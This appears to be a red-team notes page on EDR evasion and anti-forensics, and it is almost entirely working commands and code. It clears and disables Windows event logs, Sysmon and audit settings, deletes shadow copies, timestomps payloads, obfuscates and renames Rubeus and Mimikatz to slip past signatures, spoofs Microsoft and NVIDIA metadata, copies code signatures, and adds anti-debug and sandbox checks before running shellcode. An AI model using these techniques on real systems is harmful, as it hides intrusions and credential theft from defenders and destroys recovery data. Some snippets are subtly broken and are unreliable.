Skip to main content
Background Image

Red Team Notes (EDR Evasion & Anti-Forensics)

4444 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

EDR Evasion & Anti-Forensics
#

Anti-Forensics & Cleanup
#

Remove evidence of compromise and operational artifacts.

Clear Event Logs
#

# Clear specific logs (generates Event ID 1102 - audit log cleared)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

# Clear all logs (very suspicious)
Get-WinEvent -ListLog * | ForEach-Object { wevtutil cl $_.LogName }

# PowerShell method
Clear-EventLog -LogName System
Clear-EventLog -LogName Security
Clear-EventLog -LogName Application

# Alternative: Selective log entry removal (stealthier but requires parsing)
# Use tools like Invoke-Phant0m or manual EVTX manipulation

# Clear individual event IDs (targeted approach)
# Requires EVTX parsing and rewriting - advanced technique
# Example: Remove specific 4624 (logon) events

# Disable logging temporarily (very suspicious)
Set-Service -Name EventLog -StartupType Disabled
Stop-Service -Name EventLog

# Re-enable
Set-Service -Name EventLog -StartupType Automatic
Start-Service -Name EventLog

# Clear PowerShell command history
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue

# Clear PowerShell console history
Clear-History

# Remove PSReadLine history
Remove-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force

# Clear recent documents
Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force -Recurse

# Clear Windows prefetch
Remove-Item "C:\Windows\Prefetch\*.pf" -Force

# Clear DNS cache
ipconfig /flushdns
Clear-DnsClientCache

Selective Log Manipulation
#

# Instead of clearing entire logs, consider:
# 1. Use Invoke-Phant0m to suspend event log threads
# https://github.com/hlldz/Invoke-Phant0m

# 2. Selectively remove specific events using tools like:
# - evtx (Python library for EVTX manipulation)
# - Log Manipulation tools

# 3. Reduce log visibility without clearing
# Disable specific event channels
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /e:false

# Re-enable after operations
wevtutil sl "Microsoft-Windows-Sysmon/Operational" /e:true

# 4. Use living-off-the-land to minimize logged activity
# - Avoid PowerShell script execution (use compiled binaries)
# - Use LOLBAS techniques
# - Leverage legitimate admin tools

Secure File Deletion
#

:: SDelete (Sysinternals) - multiple passes
sdelete.exe -p 3 -s -z C:\temp\

:: Cipher - Windows built-in secure deletion
cipher /w:C:\temp\

:: Delete specific file with cipher
del C:\temp\payload.exe
cipher /w:C:\temp\
# PowerShell secure deletion function
function Remove-FileSecurely {
    param([string]$Path)
    
    # Overwrite with random data
    $bytes = New-Object byte[] (Get-Item $Path).Length
    (New-Object Random).NextBytes($bytes)
    [System.IO.File]::WriteAllBytes($Path, $bytes)
    
    # Delete
    Remove-Item $Path -Force
    
    # Wipe free space
    cipher /w:"$(Split-Path $Path)"
}

# Usage
Remove-FileSecurely -Path "C:\temp\payload.exe"

# Bulk secure deletion
Get-ChildItem "C:\temp\*.exe" | ForEach-Object { Remove-FileSecurely -Path $_.FullName }

# Alternative: Overwrite then delete
$file = "C:\temp\sensitive.txt"
$size = (Get-Item $file).Length
$data = New-Object byte[] $size
(New-Object Security.Cryptography.RNGCryptoServiceProvider).GetBytes($data)
[IO.File]::WriteAllBytes($file, $data)
Remove-Item $file -Force

Delete Shadow Copies (Remove Backup Evidence)
#

:: List shadow copies
vssadmin list shadows

:: Delete all shadow copies (ransomware technique - VERY SUSPICIOUS)
vssadmin delete shadows /all /quiet

:: WMI method
wmic shadowcopy delete

:: PowerShell
Get-WmiObject Win32_ShadowCopy | Remove-WmiObject

Timestomping
#

Modify file timestamps to blend with legitimate files or hide activity timeline.

# Copy timestamps from legitimate file to payload
$reference = Get-Item "C:\Windows\System32\kernel32.dll"
$target = Get-Item "C:\temp\payload.exe"

$target.CreationTime = $reference.CreationTime
$target.LastWriteTime = $reference.LastWriteTime
$target.LastAccessTime = $reference.LastAccessTime

# Verify timestamps
Get-Item "C:\temp\payload.exe" | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime

# Set specific timestamps
$target.CreationTime = "01/01/2020 08:00:00"
$target.LastWriteTime = "01/15/2020 14:30:00"
$target.LastAccessTime = "10/10/2024 09:00:00"

# Function for batch timestomping
function Set-Timestamp {
    param(
        [string]$FilePath,
        [string]$ReferenceFile
    )
    
    $ref = Get-Item $ReferenceFile
    $file = Get-Item $FilePath
    
    $file.CreationTime = $ref.CreationTime
    $file.LastWriteTime = $ref.LastWriteTime
    $file.LastAccessTime = $ref.LastAccessTime
}

# Stomp multiple files
Get-ChildItem "C:\temp\*.exe" | ForEach-Object {
    Set-Timestamp -FilePath $_.FullName -ReferenceFile "C:\Windows\System32\notepad.exe"
}

# Advanced: Set timestamps to match directory average
$dir = "C:\Windows\System32"
$files = Get-ChildItem $dir -File | Select-Object -First 100
$avgCreation = ($files | Measure-Object CreationTime -Average).Average
$avgWrite = ($files | Measure-Object LastWriteTime -Average).Average

$target = Get-Item "C:\temp\payload.exe"
$target.CreationTime = $avgCreation
$target.LastWriteTime = $avgWrite

# NTFS $STANDARD_INFORMATION vs $FILE_NAME timestamps
# Note: This technique only modifies $SI, forensic tools can still see $FN
# Advanced timestomping requires low-level NTFS manipulation (SetMace, timestomp)

Advanced Timestomping Tools
#

# Metasploit timestomp (from Meterpreter session)
meterpreter> timestomp C:\\temp\\payload.exe -m "01/01/2020 08:00:00"
meterpreter> timestomp C:\\temp\\payload.exe -a "01/01/2020 08:00:00"
meterpreter> timestomp C:\\temp\\payload.exe -c "01/01/2020 08:00:00"
meterpreter> timestomp C:\\temp\\payload.exe -e "01/01/2020 08:00:00"

# Match another file
meterpreter> timestomp C:\\temp\\payload.exe -z "C:\\Windows\\System32\\kernel32.dll"

# SetMace (NTFS $FILE_NAME attribute modification)
# More thorough than standard timestomping
# https://github.com/jschicht/SetMace

Additional Cleanup Actions
#

# Clear Windows Defender scan history
Remove-Item "C:\ProgramData\Microsoft\Windows Defender\Scans\History\*" -Recurse -Force -ErrorAction SilentlyContinue

# Clear Windows Error Reporting
Remove-Item "C:\ProgramData\Microsoft\Windows\WER\*" -Recurse -Force -ErrorAction SilentlyContinue

# Clear thumbnail cache
Remove-Item "$env:LOCALAPPDATA\Microsoft\Windows\Explorer\thumbcache_*.db" -Force

# Clear clipboard
Set-Clipboard -Value $null

# Clear ARP cache
arp -d *
netsh interface ip delete arpcache

# Clear NetBIOS cache
nbtstat -R

# Remove MRU (Most Recently Used) lists
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Force -ErrorAction SilentlyContinue
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" -Force -ErrorAction SilentlyContinue

# Clear NTFS USN Journal (advanced, requires admin)
fsutil usn deletejournal /D C:

# Disable command line auditing (process creation logging)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v "ProcessCreationIncludeCmdLine_Enabled" /t REG_DWORD /d 0 /f

# Clear Office recent documents
Remove-Item "HKCU:\Software\Microsoft\Office\*\*\File MRU" -Force -Recurse -ErrorAction SilentlyContinue

EDR Evasion via Source Code Modification
#

Modifying source code of popular offensive tools removes known signatures, IOCs, and behavioral patterns. Essential for bypassing modern EDR solutions.

Key Principles:

  1. Never use unmodified public tools - All public tools are signatured
  2. Modify before each engagement - Even your own tools become signatured over time
  3. Combine multiple evasion techniques - Layered approach defeats detection
  4. Test against target EDR - Each EDR has unique detection capabilities

String Obfuscation (C# - Rubeus, Seatbelt, etc.)
#

Replace plaintext strings with encrypted or encoded versions to avoid static signatures.

// BEFORE: Plaintext strings (detected by YARA/static analysis)
if (args[0].ToLower() == "asktgt") {
    Console.WriteLine("[*] Requesting TGT...");
    // code
}

// AFTER: Base64 encoded (basic obfuscation)
string cmd = Encoding.UTF8.GetString(Convert.FromBase64String("YXNrdGd0"));
string msg = Encoding.UTF8.GetString(Convert.FromBase64String("WypdIFJlcXVlc3RpbmcgVEdULi4u"));
if (args[0].ToLower() == cmd) {
    Console.WriteLine(msg);
    // code
}

// BETTER: XOR encryption with key
public static class StringDecryptor {
    private static byte[] key = new byte[] { 0xAA, 0xBB, 0xCC, 0xDD };
    
    public static string Decrypt(byte[] data) {
        byte[] result = new byte[data.Length];
        for (int i = 0; i < data.Length; i++) {
            result[i] = (byte)(data[i] ^ key[i % key.Length]);
        }
        return Encoding.UTF8.GetString(result);
    }
}

// Usage
byte[] encCmd = new byte[] { 0xCB, 0xDA, 0xA9, 0xB1, 0xC7, 0xD4 }; // "asktgt" XOR'd
string cmd = StringDecryptor.Decrypt(encCmd);

// ADVANCED: AES encryption with embedded key
public static string DecryptString(string cipherText) {
    byte[] key = Encoding.UTF8.GetBytes("MySecretKey12345"); // 16 bytes for AES-128
    byte[] iv = new byte[16]; // Zero IV or embedded IV
    
    using (Aes aes = Aes.Create()) {
        aes.Key = key;
        aes.IV = iv;
        ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
        
        using (MemoryStream ms = new MemoryStream(Convert.FromBase64String(cipherText))) {
            using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read)) {
                using (StreamReader reader = new StreamReader(cs)) {
                    return reader.ReadToEnd();
                }
            }
        }
    }
}

// Best practice: Encrypt all strings in project
// - Command names
// - Error messages  
// - Function/method names
// - LDAP queries
// - API names
// - Registry paths

String Obfuscation Helper Script
#

# Python script to generate encrypted strings for C# code
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def xor_encrypt(plaintext, key):
    """Simple XOR encryption"""
    result = []
    for i, char in enumerate(plaintext.encode()):
        result.append(char ^ key[i % len(key)])
    return ', '.join([f'0x{b:02X}' for b in result])

def aes_encrypt(plaintext, key):
    """AES encryption"""
    cipher = AES.new(key.encode().ljust(16)[:16], AES.MODE_ECB)
    encrypted = cipher.encrypt(pad(plaintext.encode(), 16))
    return base64.b64encode(encrypted).decode()

# Usage
strings = ["asktgt", "kerberoast", "dcsync", "mimikatz"]
xor_key = [0xAA, 0xBB, 0xCC, 0xDD]

for s in strings:
    print(f"// {s}")
    print(f"byte[] enc = new byte[] {{ {xor_encrypt(s, xor_key)} }};")
    print()

API Resolution via Hashing (C#)
#

Avoid direct API imports that trigger static signatures. Dynamically resolve functions at runtime using hashing.

using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

public class DynamicInvoke {
    
    // P/Invoke for LoadLibrary and GetProcAddress
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr LoadLibrary(string lpFileName);
    
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    
    // Delegate for resolved function
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate IntPtr CreateThread(
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        out IntPtr lpThreadId);
    
    // Hash function name
    public static uint HashString(string input) {
        using (MD5 md5 = MD5.Create()) {
            byte[] hash = md5.ComputeHash(Encoding.UTF8.GetBytes(input));
            return BitConverter.ToUInt32(hash, 0);
        }
    }
    
    // Resolve API by hash
    public static IntPtr GetAPIByHash(string dllName, uint functionHash) {
        IntPtr hModule = LoadLibrary(dllName);
        if (hModule == IntPtr.Zero) return IntPtr.Zero;
        
        // In real implementation, enumerate exports and compare hashes
        // This is simplified example
        return IntPtr.Zero;
    }
    
    // Usage example
    public static void Example() {
        // Hash "CreateThread" at compile time: 0x12345678 (example)
        uint targetHash = 0x12345678;
        
        IntPtr kernel32 = LoadLibrary("kernel32.dll");
        IntPtr funcPtr = GetProcAddress(kernel32, "CreateThread"); // In real version, resolve by hash
        
        // Cast function pointer to delegate
        CreateThread createThread = Marshal.GetDelegateForFunctionPointer<CreateThread>(funcPtr);
        
        // Call function
        IntPtr threadId;
        createThread(IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, 0, out threadId);
    }
}

// Advanced: Use D/Invoke or similar techniques
// https://github.com/TheWover/DInvoke
// - Manually map DLLs from disk or memory
// - Resolve exports by hash
// - Avoid Import Address Table (IAT)
// - Syscall direct invocation

D/Invoke Implementation Example
#

// Using DInvoke for manual mapping and dynamic invocation
// NuGet: DInvoke

using DInvoke.DynamicInvoke;

public class EvasiveExecution {
    public static void ExecuteShellcode(byte[] shellcode) {
        // Manually map ntdll.dll to avoid hooks
        IntPtr ntdllBase = Generic.GetLibraryAddress("ntdll.dll", false);
        
        // Resolve NtAllocateVirtualMemory by hash or syscall number
        object[] parameters = new object[] {
            (IntPtr)(-1), // Current process
            IntPtr.Zero,  // Base address
            IntPtr.Zero,  // Zero bits
            (IntPtr)shellcode.Length,
            (uint)0x3000, // MEM_COMMIT | MEM_RESERVE
            (uint)0x40    // PAGE_EXECUTE_READWRITE
        };
        
        Native.NTSTATUS result = (Native.NTSTATUS)Generic.DynamicAPIInvoke(
            "ntdll.dll",
            "NtAllocateVirtualMemory",
            typeof(Delegates.NtAllocateVirtualMemory),
            ref parameters
        );
        
        // Copy shellcode and execute
        // ...
    }
}

Function & Namespace Renaming
#

Rename functions, classes, and namespaces to avoid behavioral signatures and blend with legitimate software.

// BEFORE: Obvious offensive namespace and class names
namespace Rubeus {
    public class Ask {
        public static void TGT(string username, string password) {
            // Request Kerberos TGT
        }
    }
}

// AFTER: Legitimate-looking names
namespace Microsoft.Diagnostics.Telemetry {
    public class UpdateEngine {
        public static void InitializeTelemetrySession(string user, string credential) {
            // Same TGT logic, different names
        }
    }
}

// Other naming strategies:
// - System.Management.Operations
// - Windows.Security.Authentication
// - Microsoft.ServiceManagement.Core
// - Adobe.UpdateService.Client
// - Google.ChromeUpdate.Handler

// Function renaming examples:
// GetTGT() -> AcquireAuthenticationToken()
// Kerberoast() -> EnumerateServicePrincipals()
// DCSync() -> SynchronizeDirectoryData()
// MiniDumpWriteDump() -> CreateProcessSnapshot()
// ReadProcessMemory() -> GetProcessInformation()

// Class renaming:
// CredentialDumper -> ConfigurationManager
// PasswordExtractor -> SettingsProvider
// TokenManipulator -> SessionHandler

Automated Renaming with Obfuscation Tools
#

# ConfuserEx - .NET obfuscator
# https://github.com/mkaring/ConfuserEx
ConfuserEx.CLI.exe -n project.crproj

# .NET Reactor - Commercial obfuscator
# https://www.eziriz.com/dotnet_reactor.htm

# IntelliLock - Commercial solution
# https://www.eziriz.com/intellilock.htm

# Manual renaming script (PowerShell)
# Find and replace all occurrences in project
$replacements = @{
    "Rubeus" = "Microsoft.Diagnostics.Telemetry"
    "GetTGT" = "AcquireToken"
    "Kerberoast" = "EnumerateServices"
}

Get-ChildItem -Path ".\src\" -Filter *.cs -Recurse | ForEach-Object {
    $content = Get-Content $_.FullName
    foreach ($key in $replacements.Keys) {
        $content = $content -replace $key, $replacements[$key]
    }
    Set-Content -Path $_.FullName -Value $content
}

Modify Assembly Metadata
#

Change assembly properties to impersonate legitimate Microsoft or third-party software.

// AssemblyInfo.cs modifications

// BEFORE: Default or suspicious metadata
[assembly: AssemblyTitle("Rubeus")]
[assembly: AssemblyDescription("Kerberos attack tool")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Rubeus")]
[assembly: AssemblyCopyright("Copyright © 2023")]

// AFTER: Legitimate-looking metadata
[assembly: AssemblyTitle("Windows Audio Device Manager")]
[assembly: AssemblyDescription("Manages audio devices and sound output")]
[assembly: AssemblyCompany("Microsoft Corporation")]
[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
[assembly: AssemblyTrademark("Microsoft® is a registered trademark of Microsoft Corporation")]
[assembly: AssemblyVersion("10.0.19041.1")]
[assembly: AssemblyFileVersion("10.0.19041.1")]

// Alternative legitimate company examples:
// - Adobe Systems Incorporated
// - NVIDIA Corporation
// - Intel Corporation
// - VMware, Inc.
// - Oracle Corporation

// Use PE editing tools to copy metadata from legitimate files
// - Resource Hacker
// - PE-bear
// - peclone

Clone Legitimate Binary Metadata
#

# PowerShell script to extract and apply metadata
function Clone-BinaryMetadata {
    param(
        [string]$SourceBinary,
        [string]$TargetBinary
    )
    
    # Extract version info from source
    $versionInfo = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($SourceBinary)
    
    # Use Resource Hacker or similar to apply to target
    # This is simplified - actual implementation requires PE manipulation
    
    Write-Host "Source: $($versionInfo.ProductName)"
    Write-Host "Company: $($versionInfo.CompanyName)"
    Write-Host "Version: $($versionInfo.FileVersion)"
}

# Usage
Clone-BinaryMetadata -SourceBinary "C:\Windows\System32\notepad.exe" -TargetBinary "C:\temp\payload.exe"

PE Cloning Tools
#

# SigThief - Copy signatures from legitimate binaries
python sigthief.py -i C:\Windows\System32\notepad.exe -t payload.exe -o signed_payload.exe

# peclone - Clone PE resources and metadata
peclone.exe -s C:\Windows\System32\calc.exe -d payload.exe -o cloned_payload.exe

# Resource Hacker - Manual resource editing
ResourceHacker.exe -open payload.exe -save modified_payload.exe -action addoverwrite -res legitimate.res

Junk Code Injection & Control Flow Obfuscation
#

Insert dead code, opaque predicates, and complex control flow to defeat behavioral analysis and sandboxes.

// Simple opaque predicate (always true, but analyzer can't determine statically)
public static bool OpaqueTrue() {
    int x = new Random().Next();
    return (x * x) >= 0; // Always true, mathematically
}

// Insert before sensitive operations
if (OpaqueTrue()) {
    // Real payload logic
    RequestTGT(username, password);
} else {
    // Never executed, but complicates analysis
    Console.WriteLine("Error: 0xDEADCAFE");
    throw new Exception("Invalid state");
}

// Junk function calls
public static void JunkFunction1() {
    string random = Guid.NewGuid().ToString();
    var hash = System.Security.Cryptography.MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(random));
    // Does nothing meaningful
}

public static void JunkFunction2() {
    for (int i = 0; i < 100; i++) {
        Math.Sqrt(i * i + new Random().Next());
    }
}

// Interleave junk with real code
public static void ObfuscatedFunction() {
    JunkFunction1();
    
    if (OpaqueTrue()) {
        // Real operation 1
        var credentials = ExtractCredentials();
        
        JunkFunction2();
        
        // Real operation 2
        SendData(credentials);
    }
    
    JunkFunction1();
}

// Control flow flattening (more advanced)
public static void FlattenedControlFlow() {
    int state = 0;
    
    while (true) {
        switch (state) {
            case 0:
                // Operation 1
                Initialize();
                state = new Random().Next(2) > 0 ? 1 : 1; // Opaque transition
                break;
            
            case 1:
                // Operation 2
                ProcessData();
                state = 2;
                break;
            
            case 2:
                // Operation 3
                SendResults();
                return;
            
            default:
                JunkFunction1();
                state = 0;
                break;
        }
    }
}

// Sleep/delay evasion (sandbox detection)
public static void SandboxEvasion() {
    // Sandboxes often skip long sleeps
    DateTime start = DateTime.Now;
    System.Threading.Thread.Sleep(5000);
    DateTime end = DateTime.Now;
    
    // If sleep was skipped, we're likely in sandbox
    if ((end - start).TotalMilliseconds < 4500) {
        Environment.Exit(0);
    }
    
    // Real payload continues
    ExecutePayload();
}

// User interaction check
public static bool RequireUserInteraction() {
    // Sandboxes typically don't simulate mouse movement
    int startX = System.Windows.Forms.Cursor.Position.X;
    System.Threading.Thread.Sleep(10000);
    int endX = System.Windows.Forms.Cursor.Position.X;
    
    return Math.Abs(endX - startX) > 50; // Mouse moved
}

// Check for VM/sandbox artifacts
public static bool IsVirtualMachine() {
    // Check for common VM indicators
    string[] vmIndicators = {
        "VMware", "VirtualBox", "VBOX", "QEMU", "Xen", "Hyper-V"
    };
    
    string manufacturer = Environment.GetEnvironmentVariable("PROCESSOR_IDENTIFIER");
    foreach (var indicator in vmIndicators) {
        if (manufacturer?.Contains(indicator, StringComparison.OrdinalIgnoreCase) == true) {
            return true;
        }
    }
    
    // Check for VM-specific files
    string[] vmFiles = {
        @"C:\Windows\System32\drivers\vmmouse.sys",
        @"C:\Windows\System32\drivers\vmhgfs.sys",
        @"C:\Windows\System32\drivers\VBoxMouse.sys"
    };
    
    foreach (var file in vmFiles) {
        if (System.IO.File.Exists(file)) {
            return true;
        }
    }
    
    return false;
}

Example: Mimikatz Evasion (C/C++)
#

Obfuscate Wide Strings
#

// BEFORE: Plaintext wide strings (heavily signatured)
wchar_t *command = L"sekurlsa::logonpasswords";
wchar_t *module = L"sekurlsa";

// AFTER: XOR encrypted strings
// Encryption helper
wchar_t* DecryptWideString(const wchar_t* encrypted, size_t len, BYTE key) {
    wchar_t* decrypted = (wchar_t*)malloc((len + 1) * sizeof(wchar_t));
    for (size_t i = 0; i < len; i++) {
        decrypted[i] = encrypted[i] ^ key;
    }
    decrypted[len] = L'\0';
    return decrypted;
}

// Encrypted at compile time (XOR with 0xAA)
const wchar_t encCommand[] = {
    0xD9, 0xCF, 0xCB, 0xD7, 0xD2, 0xD3, 0xC8, 0xFE, 0xFE, 0xC6, 0xCF, 0xC1, 0xCF, 0xC9, 0xD0, 0xC8, 0xD3, 0xD3, 0xDF, 0xCF, 0xD2, 0xC7, 0xD3, 0x00
};

// Usage
wchar_t* command = DecryptWideString(encCommand, wcslen(encCommand), 0xAA);
// Use command
free(command);

// Python script to generate encrypted strings
"""
def xor_encrypt_wstring(s, key=0xAA):
    result = []
    for char in s:
        encrypted = ord(char) ^ key
        result.append(f"0x{encrypted:02X}")
    return ", ".join(result)

strings = ["sekurlsa::logonpasswords", "sekurlsa", "lsadump"]
for s in strings:
    print(f"// {s}")
    print(f"const wchar_t enc[] = {{ {xor_encrypt_wstring(s)} }};")
    print()
"""

Function and Command Table Renaming
#

// BEFORE: Obvious command names (heavily signatured)
const KUHL_M_C kuhl_m_c_sekurlsa[] = {
    {L"sekurlsa::logonpasswords", kuhl_m_sekurlsa_logonpasswords, L"Lists logon passwords", NULL},
    {L"sekurlsa::tickets", kuhl_m_sekurlsa_tickets, L"Lists Kerberos tickets", NULL},
    {L"sekurlsa::pth", kuhl_m_sekurlsa_pth, L"Pass-the-hash", NULL},
};

// AFTER: Renamed to blend in
const KUHL_M_C kuhl_m_c_sysauth[] = {
    {L"sysauth::enum", cmd_sysauth_enum, L"System authentication enumeration", NULL},
    {L"sysauth::tokens", cmd_sysauth_tokens, L"Authentication token listing", NULL},
    {L"sysauth::inject", cmd_sysauth_inject, L"Credential injection", NULL},
};

// Rename functions throughout codebase
// kuhl_m_sekurlsa_logonpasswords -> cmd_sysauth_enum
// kuhl_m_sekurlsa_pth -> cmd_sysauth_inject
// kuhl_m_sekurlsa_* -> cmd_sysauth_*

// Use find/replace across entire project:
/*
Find: sekurlsa
Replace: sysauth

Find: kuhl_m_
Replace: cmd_

Find: logonpasswords
Replace: enum_creds

Find: mimikatz
Replace: svchost_diag
*/

// Module name changes
// modules/kuhl_m_sekurlsa.c -> modules/cmd_sysauth.c
// modules/kuhl_m_lsadump.c -> modules/cmd_dirdata.c
// modules/kuhl_m_kerberos.c -> modules/cmd_auth.c

Obfuscate API Calls
#

// BEFORE: Direct API calls (static imports detected)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
BOOL result = ReadProcessMemory(hProcess, address, buffer, size, &bytesRead);

// AFTER: Dynamic resolution with encrypted API names
typedef HANDLE (WINAPI *pOpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);

// XOR encrypted API names
char encOpenProcess[] = {0x7F, 0x90, 0x9A, 0x91, 0xA0, 0xAB, 0x9C, 0x9E, 0x9A, 0xAC, 0xAC}; // "OpenProcess"
char encReadProcMem[] = {0x82, 0x9A, 0x9E, 0x9B, 0xA0, 0xAB, 0x9C, 0x9E, 0x9A, 0xAC, 0xAC}; // "ReadProcessMemory"

// Decrypt function
void DecryptString(char* str, size_t len, BYTE key) {
    for (size_t i = 0; i < len; i++) {
        str[i] ^= key;
    }
}

// Usage
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
DecryptString(encOpenProcess, sizeof(encOpenProcess), 0xAA);
pOpenProcess _OpenProcess = (pOpenProcess)GetProcAddress(hKernel32, encOpenProcess);

HANDLE hProcess = _OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

Resource Metadata Spoofing
#

// BEFORE: mimikatz.rc - Obvious metadata
1 VERSIONINFO
FILEVERSION 2,2,0,0
PRODUCTVERSION 2,2,0,0
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "gentilkiwi (Benjamin DELPY)"
            VALUE "FileDescription", "mimikatz for Windows"
            VALUE "FileVersion", "2.2.0.0"
            VALUE "ProductName", "mimikatz"
        END
    END
END

// AFTER: Legitimate-looking metadata
1 VERSIONINFO
FILEVERSION 10,0,19041,1
PRODUCTVERSION 10,0,19041,1
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "NVIDIA Corporation"
            VALUE "FileDescription", "NVIDIA Display Driver Service"
            VALUE "FileVersion", "10.0.19041.1 (WinBuild.160101.0800)"
            VALUE "InternalName", "nvdispdrv.exe"
            VALUE "LegalCopyright", "Copyright (C) 2024 NVIDIA Corporation"
            VALUE "OriginalFilename", "nvdispdrv.exe"
            VALUE "ProductName", "NVIDIA Graphics Driver"
            VALUE "ProductVersion", "536.67"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

// Other legitimate metadata examples:

// Microsoft
VALUE "CompanyName", "Microsoft Corporation"
VALUE "FileDescription", "Host Process for Windows Services"
VALUE "ProductName", "Microsoft® Windows® Operating System"

// Adobe
VALUE "CompanyName", "Adobe Systems Incorporated"
VALUE "FileDescription", "Adobe Update Service"
VALUE "ProductName", "Adobe Creative Cloud"

// Intel
VALUE "CompanyName", "Intel Corporation"
VALUE "FileDescription", "Intel(R) Driver & Support Assistant"
VALUE "ProductName", "Intel Driver Support"

Hide Debugging Symbols and Strings
#

// Strip debugging information during compilation
// Visual Studio: Project Properties > C/C++ > General > Debug Information Format = None
// Linker: Generate Debug Info = No

// Use string encryption macros
#define ENCRYPT_STRING(str) EncryptAtCompileTime(str)

// Compile-time string encryption (C++17)
template<size_t N>
constexpr auto EncryptString(const char (&str)[N]) {
    std::array<char, N> encrypted{};
    for (size_t i = 0; i < N; ++i) {
        encrypted[i] = str[i] ^ 0xAA;
    }
    return encrypted;
}

// Usage
auto encStr = EncryptString("lsass.exe");
DecryptInPlace(encStr.data(), encStr.size());

// Remove PDB paths and build paths
// Compiler flags: /DPDB:NONE /Brepro

// Strip strings from binary post-compilation
// Use tools like:
// - strings -d binary.exe | grep -v "common_string"
// - Custom string remover scripts

Anti-Analysis Techniques
#

// Check for debugger
BOOL IsDebuggerPresent() {
    // Method 1: Windows API
    if (IsDebuggerPresent()) {
        ExitProcess(0);
    }
    
    // Method 2: PEB check
    BOOL isDebug = FALSE;
    __asm {
        mov eax, fs:[30h]  // PEB
        mov al, [eax + 2]  // BeingDebugged
        mov isDebug, al
    }
    if (isDebug) ExitProcess(0);
    
    // Method 3: NtQueryInformationProcess
    typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
        HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
    
    pNtQueryInformationProcess NtQIP = (pNtQueryInformationProcess)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
    
    DWORD debugPort = 0;
    NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
    if (debugPort != 0) ExitProcess(0);
}

// Check for VM/Sandbox
BOOL IsVirtualMachine() {
    // Check CPUID for hypervisor bit
    int cpuInfo[4];
    __cpuid(cpuInfo, 1);
    if ((cpuInfo[2] >> 31) & 1) {
        return TRUE;  // Hypervisor present
    }
    
    // Check for VM-specific registry keys
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", 
        0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return TRUE;
    }
    
    // Check for VM-specific files
    if (GetFileAttributesA("C:\\Windows\\System32\\drivers\\vmmouse.sys") != INVALID_FILE_ATTRIBUTES) {
        return TRUE;
    }
    
    return FALSE;
}

// Timing checks
BOOL DetectSandbox() {
    LARGE_INTEGER start, end, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);
    
    Sleep(1000);
    
    QueryPerformanceCounter(&end);
    double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
    
    // If sleep was accelerated, likely in sandbox
    return (elapsed < 0.9);
}

// Insert checks throughout code
int main() {
    if (IsDebuggerPresent() || IsVirtualMachine() || DetectSandbox()) {
        // Exit gracefully or execute benign code
        printf("System check completed.\n");
        return 0;
    }
    
    // Real payload
    ExecuteMimikatzCommands();
    return 0;
}

Compilation & Post-Build Hardening
#

Build process optimizations and post-compilation modifications to enhance evasion.

Compilation Best Practices
#

# Visual Studio C# Projects

# 1. Release mode with optimizations
# Project Properties > Build > Configuration = Release
# Optimize code: Checked
# Define DEBUG constant: Unchecked
# Define TRACE constant: Unchecked

# 2. Remove debugging information
# Project Properties > Build > Advanced > Debugging information = None

# 3. Obfuscation during build
# Use ConfuserEx, .NET Reactor, or custom obfuscation
# Add as post-build event

# 4. IL obfuscation
# Tools: Obfuscar, Eazfuscator.NET

# Visual Studio C/C++ Projects (Mimikatz)

# 1. Release mode
# Configuration Manager > Active Solution Configuration = Release

# 2. Disable debug info
# Project Properties > C/C++ > General > Debug Information Format = None
# Project Properties > Linker > Debugging > Generate Debug Info = No

# 3. Optimize for size
